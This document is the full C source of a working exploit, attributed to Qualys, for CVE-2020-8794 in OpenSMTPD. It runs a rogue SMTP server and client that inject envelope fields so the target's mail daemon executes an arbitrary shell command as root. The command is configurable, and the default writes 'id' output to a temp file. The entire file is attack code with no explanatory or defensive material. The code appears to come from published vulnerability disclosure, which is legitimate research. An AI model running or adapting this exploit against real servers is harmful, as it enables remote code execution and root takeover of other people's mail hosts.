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/* * LPE and RCE in OpenSMTPD's default install (CVE-2020-8794) * Copyright (C) 2020 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program.If not, see <https://www.gnu.org/licenses/>. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <netdb.h> #include <stdarg.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> static enum { CLIENT_SIDE_EXPLOIT, SERVER_SIDE_EXPLOIT, } exploit = CLIENT_SIDE_EXPLOIT; static enum { NEW_SMTPD_GRAMMAR, OLD_SMTPD_GRAMMAR, } grammar = NEW_SMTPD_GRAMMAR; static struct { const char * command; const char * user; const char * dispatcher; const char * maildir; char lines[512]; } inject = { .command = "X=<code>mktemp /tmp/x.XXXXXX</code>&&id>>$X;exit 0", .user = "root", .dispatcher = "local_mail", .maildir = NULL, }; #define die() do { \ printf("died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static struct addrinfo * common_getaddrinfo(const char * const host, const char * const port) { const struct addrinfo hints = { .ai_family = AF_INET, .ai_socktype = SOCK_STREAM, .ai_protocol = IPPROTO_TCP, .ai_flags = AI_NUMERICHOST | AI_NUMERICSERV, }; struct addrinfo * addr = NULL; if (getaddrinfo(host, port, &hints, &addr) != 0) die(); if (addr == NULL || addr->ai_next != NULL) die(); return addr; } static const char * common_getnameinfo(const struct sockaddr * const addr, const socklen_t addr_len) { static char host[NI_MAXHOST]; static char port[NI_MAXSERV]; if (getnameinfo(addr, addr_len, host, sizeof(host), port, sizeof(port), NI_NUMERICHOST | NI_NUMERICSERV) != 0) die(); static char host_port[NI_MAXHOST + NI_MAXSERV]; if (snprintf(host_port, sizeof(host_port), "%s:%s", host, port) <= 0) die(); return host_port; } static void common_send(const int fd, const char * const format, va_list ap) { if (fd <= -1) die(); static char buf[1024]; const int len = vsnprintf(buf, sizeof(buf), format, ap); if (len <= 0 || (unsigned)len >= sizeof(buf)) die(); printf("--> %s%s", buf, buf[len-1] != '\n' ? "\n" : ""); const char * data = buf; size_t size = len; for (;;) { const ssize_t sent = send(fd, data, size, MSG_NOSIGNAL); if (sent <= 0) die(); if ((size_t)sent > size) die(); data += sent; size -= sent; if (size <= 0) return; } die(); } static int listen_fd = -1; static void server_listen(void) { if (listen_fd != -1) die(); const struct addrinfo * const addr = common_getaddrinfo("0.0.0.0", "25"); listen_fd = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol); if (listen_fd <= -1) die(); const int on = 1; if (setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) != 0) die(); if (bind(listen_fd, addr->ai_addr, addr->ai_addrlen) != 0) die(); if (listen(listen_fd, 10) != 0) die(); printf("\nListening on %s\n", common_getnameinfo(addr->ai_addr, addr->ai_addrlen)); } static int server_fd = -1; static void server_accept(void) { struct sockaddr addr; socklen_t addr_len = sizeof(addr); if (listen_fd <= -1) die(); if (server_fd != -1) die(); server_fd = accept(listen_fd, &addr, &addr_len); if (server_fd <= -1) die(); if (addr_len > sizeof(addr)) die(); const time_t now = time(NULL); printf("\nConnection from %s\n%s", common_getnameinfo(&addr, addr_len), ctime(&now)); const int on = 1; if (setsockopt(server_fd, IPPROTO_TCP, TCP_NODELAY, &on, sizeof(on)) != 0) die(); } static void server_send(const char * const format, ...) { if (server_fd <= -1) die(); va_list ap; va_start(ap, format); common_send(server_fd, format, ap); va_end(ap); } static char server_command[1024]; static void server_recv(const char * const prefix) { if (server_fd <= -1) die(); const size_t prefix_len = strlen(prefix); if (prefix_len < 4) die(); char * data = server_command; size_t size = sizeof(server_command); for (;;) { const ssize_t rcvd = recv(server_fd, data, size, 0); if (rcvd <= 0) die(); if ((size_t)rcvd >= size) die(); data += rcvd; size -= rcvd; data[0] = '\0'; if (data[-1] != '\n') continue; if (strchr(server_command, '\n') != data - 1) die(); printf("<-- %s", server_command); if (strncmp(server_command, prefix, prefix_len) != 0) die(); return; } die(); } static void server_close(void) { if (server_fd <= -1) die(); if (close(server_fd) != 0) die(); server_fd = -1; } static void server_session(const char * const inject_lines) { const char * const error_code = (exploit == SERVER_SIDE_EXPLOIT) ? "421" : "553"; server_accept(); server_send("220 ent.of.line ESMTP\n"); server_recv("EHLO "); server_send("250 ent.of.line Hello\n"); server_recv("MAIL FROM:<"); if ((strncmp(server_command, "MAIL FROM:<>", 12) == 0) != (exploit == SERVER_SIDE_EXPLOIT)) die(); if (inject_lines != NULL) { if (inject_lines[0] == '\0') die(); if (inject_lines[0] == '\n') die(); if (inject_lines[strlen(inject_lines)-1] == '\n') die(); server_send("%s-Error\n", error_code); server_send("%s\n\n%s%c", error_code, inject_lines, (int)'\0'); } else { server_send("%s Error\n", error_code); server_recv("RSET"); server_send("250 Reset\n"); server_recv("QUIT"); server_send("221 Bye\n"); } server_close(); } static const struct addrinfo * client_target = NULL; static const char * client_mail = NULL; static const char * client_rcpt = NULL; static int client_fd = -1; static void client_connect(void) { if (client_fd != -1) die(); client_fd = socket(client_target->ai_family, client_target->ai_socktype, client_target->ai_protocol); if (client_fd <= -1) die(); if (connect(client_fd, client_target->ai_addr, client_target->ai_addrlen) != 0) die(); printf("\nConnected to %s\n", common_getnameinfo(client_target->ai_addr, client_target->ai_addrlen)); } static void client_send(const char * const format, ...) { if (client_fd <= -1) die(); va_list ap; va_start(ap, format); common_send(client_fd, format, ap); va_end(ap); } static char client_reply[1024]; static void client_recv(const char * const prefix) { if (client_fd <= -1) die(); const size_t prefix_len = strlen(prefix); if (prefix_len < 3) die(); char * data = client_reply; size_t size = sizeof(client_reply); const char * line = data; for (;;) { const ssize_t rcvd = recv(client_fd, data, size, 0); if (rcvd <= 0) die(); if ((size_t)rcvd >= size) die(); data += rcvd; size -= rcvd; data[0] = '\0'; if (data[-1] != '\n') continue; for (;;) { const char * const new_line = strchr(line, '\n'); if (new_line == NULL) break; if (new_line - line < 4) die(); printf("<-- %.*s", (int)(new_line - line + 1), line); if (strncmp(line, prefix, prefix_len) != 0) die(); if (line[3] == ' ') { if (new_line + 1 != data) die(); return; } if (line[3] != '-') die(); line = new_line + 1; } if (line != data) die(); } die(); } static void client_close(void) { if (client_fd <= -1) die(); if (close(client_fd) != 0) die(); client_fd = -1; } static void client_session(void) { client_connect(); client_recv("220 "); client_send("HELP\n"); client_recv("214"); if (strstr(client_reply, "please contact bugs@openbsd.org") == NULL) die(); client_send("EHLO ent.of.line\n"); client_recv("250"); const int dsn = (strstr(client_reply, "250-DSN") != NULL); client_send("MAIL FROM:<%s>\n", client_mail); client_recv("250 "); client_send("RCPT TO:<%s>%s\n", client_rcpt, dsn ? " NOTIFY=SUCCESS" : ""); client_recv("250 "); client_send("DATA\n"); client_recv("354 Enter mail, end with "); if (!dsn) { client_send("Delivered-To: %s\n", client_rcpt); } client_send("\n"); client_send(".\n"); client_recv("250 "); client_send("QUIT\n"); client_recv("221 "); client_close(); } int main(int argc, char * const * argv) { setlinebuf(stdout); puts("LPE and RCE in OpenSMTPD's default install (CVE-2020-8794)"); puts("Copyright (C) 2020 Qualys, Inc."); int opt; while ((opt = getopt(argc, argv, "c:u:d:m:n")) != -1) { switch (opt) { case 'c': inject.command = optarg; break; case 'u': grammar = OLD_SMTPD_GRAMMAR; inject.user = optarg; break; case 'd': inject.dispatcher = optarg; break; case 'm': grammar = OLD_SMTPD_GRAMMAR; inject.maildir = optarg; break; case 'n': grammar = NEW_SMTPD_GRAMMAR; break; default: die(); } } if (grammar == NEW_SMTPD_GRAMMAR) { const int len = snprintf(inject.lines, sizeof(inject.lines), "type:mda\nmda-exec:%s\ndispatcher:%s\nmda-user:%s", inject.command, inject.dispatcher, inject.user); if (len <= 0 || (unsigned)len >= sizeof(inject.lines)) die(); } else if (grammar == OLD_SMTPD_GRAMMAR) { const int len = snprintf(inject.lines, sizeof(inject.lines), "type:mda\nmda-buffer:%s\nmda-method:%s\nmda-user:%s\nmda-usertable:<getpwnam>", inject.maildir ? inject.maildir : inject.command, inject.maildir ? "maildir" : "mda", inject.user); if (len <= 0 || (unsigned)len >= sizeof(inject.lines)) die(); } else die(); argc -= optind; argv += optind; if (argc == 3) { exploit = SERVER_SIDE_EXPLOIT; client_target = common_getaddrinfo(argv[0], "25"); client_mail = argv[1]; client_rcpt = argv[2]; } else if (argc != 0) die(); server_listen(); if (exploit == CLIENT_SIDE_EXPLOIT) { server_session(inject.lines); } else if (exploit == SERVER_SIDE_EXPLOIT) { client_session(); unsigned try; for (try = 0; try < 1; try++) { server_session(NULL); puts("\nPlease wait for OpenSMTPD to connect back..."); } server_session(inject.lines); client_session(); server_session("type:invalid"); } else die(); exit(EXIT_SUCCESS); } |
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